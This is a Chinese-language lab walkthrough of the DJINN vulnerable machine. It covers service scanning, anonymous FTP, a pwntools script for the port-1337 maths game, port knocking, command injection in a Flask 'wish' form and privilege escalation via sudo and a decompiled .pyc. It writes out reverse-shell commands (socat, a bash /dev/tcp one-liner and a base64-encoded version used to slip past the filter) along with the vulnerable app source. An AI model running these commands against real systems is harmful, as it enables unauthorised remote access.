文章总结: 这篇文档详细记录了对DJINN靶机的渗透测试过程,包括信息收集发现FTP匿名访问获取初始凭据,通过1337端口数学游戏获取端口敲门序列开启SSH服务,利用7331端口HTTP服务的命令执行漏洞获取shell,最终通过逆向分析pyc文件发现猜数字游戏的漏洞成功提权。整个过程展示了系统化的渗透测试方法和多种技术手段的综合运用。
综合评分: 91
文章分类: 渗透测试,实战经验,WEB安全,漏洞分析,红队
打靶日记 DJINN
泷羽Sec_临观
泷羽Sec-临观
2025年12月4日 21:41
江西
一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.28 -A
┌──(root㉿kali)-[/home/yzy/Desktop]
└─# nmap -sS -sV -T5 -p- 192.168.10.28 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-03 20:31 CST
Nmap scan report for 192.168.10.28
Host is up (0.00027s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.10.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt
| -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt
|_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt
22/tcp filtered ssh
1337/tcp open waste?
| fingerprint-strings:
| NULL, RPCCheck:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| Let's see how good you are with simple maths
| Answer my questions 1000 times and I'll give you your gift.
|_ '/', 9)
7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
|_http-title: Lost in space
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94SVN%I=7%D=12/3%Time=69302D8E%P=x86_64-pc-linux-gnu%r
SF:(NULL,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20
SF:__\x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\
SF:x20__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20
SF:'_\x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'
SF:_\x20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20
SF:\|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x
SF:20\|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_
SF:\|\x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\
SF:|\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20ma
SF:ths\nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\
SF:x20you\x20your\x20gift\.\n\(9,\x20'/',\x209\)\n>\x20")%r(RPCCheck,1BC,"
SF:\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20
SF:_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20__
SF:_\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20
SF:_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_
SF:\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x2
SF:0\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\
SF:x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|
SF:\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's
SF:\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer
SF:\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20y
SF:our\x20gift\.\n\(8,\x20'/',\x209\)\n>\x20");
MAC Address: 00:0C:29:67:F8:58 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.27 ms 192.168.10.28
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.30 seconds
二、FTP
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.
哦,我忘了告诉你,我在端口1337为你设置了一个游戏。看看你能否到达最终关卡并获得奖励。
messgae.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
@nitish81299 我要去度假几天,请你照顾好所有工作。别弄乱任何事情。
三、1337端口
根据ftp端口的game.txt说1337端口有一个游戏 我们连接试一下
telnet 192.168.10.28 1337
看来是有一些命令是禁止的 直接断开了连接
有点叼毛 要算一千次
先放在这 看看有没有其他的信息
四、7331端口http
目录遍历
没有扫描出什么
dirsearch -u http://192.168.10.28:7331/
dirb http://192.168.10.28:7331/
dirb http://192.168.10.28:7331/ -X .zip,.txt,.php
nikto -h http://192.168.10.28:7331/
OPTIONS: Allowed HTTP Methods: HEAD, OPTIONS, GET .
说明可以去尝试模糊测试
wfuzz -u "http://192.168.10.28:7331/?FUZZ=test" -w /usr/share/wfuzz/wordlist/general/big.txt --hc 200
ffuf -u "http://192.168.10.28:7331/?FUZZ=test" -w /usr/share/wordlists/dirb/big.txt -fc 200
还是没有什么信息
这里还是没有什么办法
回去1337端口
五、端口敲门
找个脚本做1337端口的加减乘除
from pwn import *
# 连接远程服务器
c = remote('192.168.10.28', 1337)
# 跳过初始提示
c.recvuntil("\n\n")
# 处理1001个问题
for i in range(1001):
# 接收并解析表达式
c.recvuntil("(")
int1 = c.recvuntil(",", drop=True).decode().strip()
c.recvuntil("'")
mathsym = c.recvuntil("'", drop=True).decode()
c.recvuntil(", ")
int2 = c.recvuntil(")", drop=True).decode().strip()
# 构建表达式并计算
expression = f"{int1}{mathsym}{int2}"
try:
# 安全地计算表达式
answer = eval(expression)
except Exception as e:
print(f"Error evaluating expression {expression}: {e}")
answer = 0
# 打印当前进度
print(f"{i}th question: {expression} = {answer}")
# 发送答案
c.sendlineafter('>', str(answer))
# 交互模式
print("All questions answered!")
c.interactive()
得到1356, 6784, 3409
盲猜端口敲门
from pwn import *
import time
target = '192.168.10.28'
ports = [1356, 6784, 3409]
print("开始端口敲门...")
for port in ports:
print(f"连接端口 {port}")
try:
# 创建连接但不发送数据,只是建立TCP连接
conn = remote(target, port, timeout=1)
conn.close()
time.sleep(0.1) # 短暂延迟
except:
# 有些端口可能不响应,这是正常的
pass
print("端口敲门完成,尝试连接服务端口...")
# 假设敲门成功后服务端口是1337
try:
c = remote(target, 1337, timeout=5)
print("连接成功!")
# 继续您的操作...
except Exception as e:
print(f"连接失败: {e}")
敲门成功后看到ssh端口开启了
六、再次目录枚举
看到ssh端口开了 1337端口没有什么信息 7331端口没有什么信息 要再次进行目录遍历
gobuster dir -u http://192.168.10.28:7331/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100
wish
说可以执行一个愿望 盲猜大概率命令执行
提交之后跳转到genie的界面 看到name参数
但是这里回显是在name之后 所以我们想执行命令应该是在前面提交命令执行
genie
七、getshell
反向shell连接
socat tcp-connect:192.168.10.128:6666 exec:"bash -li",pty,stderr,setsid,sigint,sane
开启监听
socat file:`tty`,raw,echo=0 TCP-L:6666
但是失败了 尝试了python也失败了
根据前面的ssh应该不会无缘无故的端口敲门 应该是用密码登录
ls -la
drwxr-xr-x 4 www-data www-data 4096 Nov 17 2019 .
drwxr-xr-x 4 root root 4096 Nov 14 2019 ..
-rw-r--r-- 1 www-data www-data 1323 Nov 13 2019 app.py
-rw-r--r-- 1 www-data www-data 1846 Nov 14 2019 app.pyc
drwxr-xr-x 5 www-data www-data 4096 Nov 13 2019 static
drwxr-xr-x 2 www-data www-data 4096 Nov 14 2019 templates
ls -la templates
drwxr-xr-x 2 www-data www-data 4096 Nov 14 2019 .
drwxr-xr-x 4 www-data www-data 4096 Nov 17 2019 ..
-rw-r--r-- 1 www-data www-data 3442 Nov 12 2019 404.html
-rw-r--r-- 1 www-data www-data 1665 Nov 13 2019 genie.html
-rw-r--r-- 1 www-data www-data 495 Nov 13 2019 index.html
-rw-r--r-- 1 www-data www-data 2267 Nov 12 2019 main.html
-rw-r--r-- 1 www-data www-data 386 Nov 14 2019 wish.html
ls -la static
drwxr-xr-x 5 www-data www-data 4096 Nov 13 2019 .
drwxr-xr-x 4 www-data www-data 4096 Nov 17 2019 ..
drwxr-xr-x 2 www-data www-data 4096 Nov 13 2019 css
drwxr-xr-x 2 www-data www-data 4096 Nov 13 2019 imgs
-rw-r--r-- 1 www-data www-data 424 Nov 13 2019 index.html
drwxr-xr-x 2 www-data www-data 4096 Nov 13 2019 styles
发现很多命令都用不了
那么就再次尝试反向shell 尝试绕过
socat的不行
bash -i >& /dev/tcp/192.168.10.128/4444 0>&1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOC80NDQ0IDA+JjE=| base64 -d|bash
建立交互式shell
python -c "import pty; pty.spawn('/bin/bash');"
import subprocess
from flask import Flask, redirect, render_template, request, url_for
app = Flask(__name__)
app.secret_key = "key"
CREDS = "/home/nitish/.dev/creds.txt"
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
def validate(cmd):
if CREDS in cmd and "cat" not in cmd:
return True
try:
for i in RCE:
for j in cmd:
if i == j:
return False
return True
except Exception:
return False
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route("/wish", methods=['POST', "GET"])
def wish():
execute = request.form.get("cmd")
if execute:
if validate(execute):
output = subprocess.Popen(execute, shell=True,
stdout=subprocess.PIPE).stdout.read()
else:
output = "Wrong choice of words"
return redirect(url_for("genie", name=output))
else:
return render_template('wish.html')
@app.route('/genie', methods=['GET', 'POST'])
def genie():
if 'name' in request.args:
page = request.args.get('name')
else:
page = "It's not that hard"
return render_template('genie.html', file=page)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
发现有一个/home/nitish/.dev/creds.txt
发现一个nitish用户的密码
nitish:p4ssw0rdStr3r0n9
成功切换nitish用户
八、提权(.pyc逆向为py文件)
得到user.txt
sudo -l
(sam) NOPASSWD: /usr/bin/genie
这意味着用户 nitish 可以以 sam 用户的身份无需密码运行 /usr/bin/genie。
man /usr/bin/genie查看一下使用帮助 man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。
这里就可以看到有一个cmd参数
sudo -u sam /usr/bin/genie -cmd "id"
成功切换sam用户
sudo -l
你想做什么?
1 - 调皮捣蛋
2 - 猜数字
3 - 阅读一些该死的文件
4 - 工作
四种都尝试无果
使用base64进行文件转移,使用base64 app.pyc,然后将加密的结果复制到本地进行解密,获得原文件。
sam@djinn:/home/sam$ base64 .pyc
base64 .pyc
A/MNCo4WxF1jAAAAAAAAAAACAAAAQAAAAHN9AAAAZAAAZAEAbAAAbQEAWgEAAWQAAGQCAGwCAG0D
AFoDAAFkAABkAwBsBABtBQBaBQABZAQAhAAAWgYAZAUAhAAAWgcAZAYAhAAAWggAZAcAhAAAWgkA
ZAgAhAAAWgoAZQsAZAkAawIAcnkAZQoAZQkAgwAAgwEAAW4AAGQKAFMoCwAAAGn/////KAEAAAB0
BwAAAGdldHVzZXIoAQAAAHQGAAAAc3lzdGVtKAEAAAB0BwAAAHJhbmRpbnRjAAAAAAAAAAABAAAA
QwAAAHMJAAAAZAEAR0hkAABTKAIAAABOcxAAAABXb3JraW5nIG9uIGl0ISEgKAAAAAAoAAAAACgA
AAAAKAAAAABzGQAAAC9ob21lL216ZnIvc2NyaXB0cy9leHAucHl0CgAAAG5hdWdodHlib2kIAAAA
cwIAAAAAAmMAAAAAAgAAAAMAAABDAAAAc0IAAAB0AABkAQBkAgCDAgB9AABkAwBHSHQBAGQEAIMB
AH0BAHwBAHwAAGsCAHI5AHQCAGQFAIMBAAFuBQBkBgBHSGQAAFMoBwAAAE5pAQAAAGllAAAAcyIA
AABDaG9vc2UgYSBudW1iZXIgYmV0d2VlbiAxIHRvIDEwMDogcxMAAABFbnRlciB5b3VyIG51bWJl
cjogcwcAAAAvYmluL3NocxUAAABCZXR0ZXIgTHVjayBuZXh0IHRpbWUoAwAAAFICAAAAdAUAAABp
bnB1dFIBAAAAKAIAAAB0AwAAAG51bXQBAAAAcygAAAAAKAAAAABzGQAAAC9ob21lL216ZnIvc2Ny
aXB0cy9leHAucHl0BwAAAGd1ZXNzaXQNAAAAcwwAAAAAAQ8BBQEMAQwBDQJjAAAAAAIAAAADAAAA
QwAAAHMoAAAAdAAAgwAAfQAAdAEAZAEAgwEAfQEAZAIAfAAAfAEAZgIAFkdIZAAAUygDAAAATnMk
AAAARW50ZXIgdGhlIGZ1bGwgb2YgdGhlIGZpbGUgdG8gcmVhZDogcyEAAABVc2VyICVzIGlzIG5v
dCBhbGxvd2VkIHRvIHJlYWQgJXMoAgAAAFIAAAAAUgQAAAAoAgAAAHQEAAAAdXNlcnQEAAAAcGF0
aCgAAAAAKAAAAABzGQAAAC9ob21lL216ZnIvc2NyaXB0cy9leHAucHl0CQAAAHJlYWRmaWxlcxcA
AABzBgAAAAABCQEMAWMAAAAAAQAAAAMAAABDAAAAcy8AAABkAQBHSGQCAEdIZAMAR0hkBABHSGQF
AEdIdAAAdAEAZAYAgwEAgwEAfQAAfAAAUygHAAAATnMYAAAAV2hhdCBkbyB5b3Ugd2FudCB0byBk
byA/cw4AAAAxIC0gQmUgbmF1Z2h0eXMUAAAAMiAtIEd1ZXNzIHRoZSBudW1iZXJzGAAAADMgLSBS
ZWFkIHNvbWUgZGFtbiBmaWxlc3MIAAAANCAtIFdvcmtzEwAAAEVudGVyIHlvdXIgY2hvaWNlOiAo
AgAAAHQDAAAAaW50UgQAAAAoAQAAAHQGAAAAY2hvaWNlKAAAAAAoAAAAAHMZAAAAL2hvbWUvbXpm
ci9zY3JpcHRzL2V4cC5weXQHAAAAb3B0aW9ucx0AAABzDgAAAAABBQEFAQUBBQEFARIBYwEAAAAB
AAAAAgAAAEMAAABzXwAAAHwAAGQBAGsCAHIWAHQAAIMAAAFuRQB8AABkAgBrAgByLAB0AQCDAAAB
bi8AfAAAZAMAawIAckIAdAIAgwAAAW4ZAHwAAGQEAGsCAHJWAGQFAEdIbgUAZAYAR0hkAABTKAcA
AABOaQEAAABpAgAAAGkDAAAAaQQAAABzEwAAAHdvcmsgeW91ciBhc3Mgb2ZmISFzIgAAAERvIHNv
bWV0aGluZyBiZXR0ZXIgd2l0aCB5b3VyIGxpZmUoAwAAAFIDAAAAUgcAAABSCgAAACgBAAAAdAIA
AABvcCgAAAAAKAAAAABzGQAAAC9ob21lL216ZnIvc2NyaXB0cy9leHAucHl0BAAAAG1haW4nAAAA
cxIAAAAAAQwBCgEMAQoBDAEKAQwBCAJ0CAAAAF9fbWFpbl9fTigMAAAAdAcAAABnZXRwYXNzUgAA
AAB0AgAAAG9zUgEAAAB0BgAAAHJhbmRvbVICAAAAUgMAAABSBwAAAFIKAAAAUg0AAABSDwAAAHQI
AAAAX19uYW1lX18oAAAAACgAAAAAKAAAAABzGQAAAC9ob21lL216ZnIvc2NyaXB0cy9leHAucHl0
CAAAADxtb2R1bGU+AwAAAHMSAAAAEAEQARADCQUJCgkGCQoJDQwB
base64 -d app64 >> app.pyc
然后我们现在就只需要将pyc文件逆向为py文件
uncompyle6 app.pyc > app.py
直接查看py文件 发现只有为num的时候才能得到root的shell
# uncompyle6 version 3.9.3
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.13.3 (tags/v3.13.3:6280bb5, Apr 8 2025, 14:47:33) [MSC v.1943 64 bit (AMD64)]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 21:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
return
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
return
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
return
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
return
if __name__ == '__main__':
main(options())
return
# okay decompiling app.pyc
提权成功
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-临观 泷羽Sec_临观《打靶日记 DJINN》